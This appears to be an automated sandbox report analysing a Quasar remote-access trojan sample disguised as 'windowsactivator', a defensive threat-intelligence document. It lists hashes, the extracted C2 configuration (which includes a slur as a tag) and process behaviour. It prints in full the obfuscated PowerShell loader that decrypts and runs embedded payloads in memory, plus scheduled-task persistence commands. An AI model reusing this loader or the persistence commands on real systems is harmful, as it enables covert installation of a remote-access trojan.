Analysis
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max time kernel
149s -
max time network
105s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
18-05-2024 04:11
Static task
static1
Behavioral task
behavioral1
Sample
dfsdfsdfdfd.bat
Resource
win7-20240508-en
General
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Target
dfsdfsdfdfd.bat
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Size
3.1MB
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MD5
0a58848ce845e34a7d2dbc19ce098273
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SHA1
94f5f718236ea1e03e3fca2c94379091bcde7b0a
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SHA256
79f1c664fbd6e7d4c2b5d80334beada369f6dfd124fb381eb369a5614612d742
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SHA512
b8bd4d237def9bee465f59c7e7613992117625495ddbf5882daf1869fb99949da08d488e452d8dafc191cebaff5368cc417988251d08076727d1c24336d9098e
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SSDEEP
49152:znu22u/gq5TvoJdoXJ+vtFOxSvvE+6hew+zDkoq7sNQ0TBYVlMeCEvT:B
Malware Config
Extracted
quasar
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reconnect_delay
3000
Extracted
quasar
1.4.1
Niggger
2600:1700:b1e0:a330:b9ee:2632:e244:9a9:4782
2e7c6a16-860e-42fe-9feb-98d63fa4f025
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encryption_key
D8AAEEC300C8107099917E1DA2F8BCD2181F4CE6
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install_name
windowsactivator.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
windowsactivator
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subdirectory
windowsactivator
Signatures
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Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/2808-14-0x000002527A960000-0x000002527ADAE000-memory.dmp family_quasar behavioral2/memory/2808-17-0x000002527AE50000-0x000002527B174000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.exe family_quasar behavioral2/memory/3616-30-0x00000000003E0000-0x0000000000704000-memory.dmp family_quasar -
Executes dropped EXE 3 IoCs
Processes:
dfsdfsdfdfd.exewindowsactivator.exewindowsactivator.exepid process 3616 dfsdfsdfdfd.exe 1568 windowsactivator.exe 1672 windowsactivator.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 3520 schtasks.exe 4900 schtasks.exe 4456 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2808 powershell.exe 2808 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exedfsdfsdfdfd.exewindowsactivator.exewindowsactivator.exedescription pid process Token: SeDebugPrivilege 2808 powershell.exe Token: SeDebugPrivilege 3616 dfsdfsdfdfd.exe Token: SeDebugPrivilege 1672 windowsactivator.exe Token: SeDebugPrivilege 1568 windowsactivator.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
cmd.exepowershell.exedfsdfsdfdfd.exewindowsactivator.exedescription pid process target process PID 924 wrote to memory of 2808 924 cmd.exe powershell.exe PID 924 wrote to memory of 2808 924 cmd.exe powershell.exe PID 2808 wrote to memory of 3616 2808 powershell.exe dfsdfsdfdfd.exe PID 2808 wrote to memory of 3616 2808 powershell.exe dfsdfsdfdfd.exe PID 2808 wrote to memory of 4900 2808 powershell.exe schtasks.exe PID 2808 wrote to memory of 4900 2808 powershell.exe schtasks.exe PID 3616 wrote to memory of 3520 3616 dfsdfsdfdfd.exe schtasks.exe PID 3616 wrote to memory of 3520 3616 dfsdfsdfdfd.exe schtasks.exe PID 3616 wrote to memory of 1568 3616 dfsdfsdfdfd.exe windowsactivator.exe PID 3616 wrote to memory of 1568 3616 dfsdfsdfdfd.exe windowsactivator.exe PID 2808 wrote to memory of 1672 2808 powershell.exe windowsactivator.exe PID 2808 wrote to memory of 1672 2808 powershell.exe windowsactivator.exe PID 1672 wrote to memory of 4456 1672 windowsactivator.exe schtasks.exe PID 1672 wrote to memory of 4456 1672 windowsactivator.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zajFr+qbrTzqAWrV9u4GkVgssa1V+CAHIWD11CfXvpI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('J0GLdnzPAzFZi0gM9ir5bQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QGFAi=New-Object System.IO.MemoryStream(,$param_var); $hKhJu=New-Object System.IO.MemoryStream; $slkWt=New-Object System.IO.Compression.GZipStream($QGFAi, [IO.Compression.CompressionMode]::Decompress); $slkWt.CopyTo($hKhJu); $slkWt.Dispose(); $QGFAi.Dispose(); $hKhJu.Dispose(); $hKhJu.ToArray();}function execute_function($param_var,$param2_var){ $eryyH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uGztN=$eryyH.EntryPoint; $uGztN.Invoke($null, $param2_var);}$URwGD = 'C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.bat';$host.UI.RawUI.WindowTitle = $URwGD;$hufpU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($URwGD).Split([Environment]::NewLine);foreach ($eduJa in $hufpU) { if ($eduJa.StartsWith(':: ')) { $GrmAl=$eduJa.Substring(3); break; }}$payloads_var=[string[]]$GrmAl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.exe"C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:3520 -
C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1568 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:4900 -
C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:4456
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3.1MB
MD59f95e09ac3d8d5c57629b5d204a20bb3
SHA1f2a1983c6901aac83c6362eed2aac982d068027d
SHA256df6cc34fe0b5395bbbb65e06387fe8e38ee891fcdf29b3c42e34dee3cca9e362
SHA5126e1bf9cc0f5a01890377bee57abe73486886bf2a3d136f2dca22efca9272d10511c61bbdb0b116d61f7185ef011f969db68c5a42e251fc4e613b3afac0c858aa
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b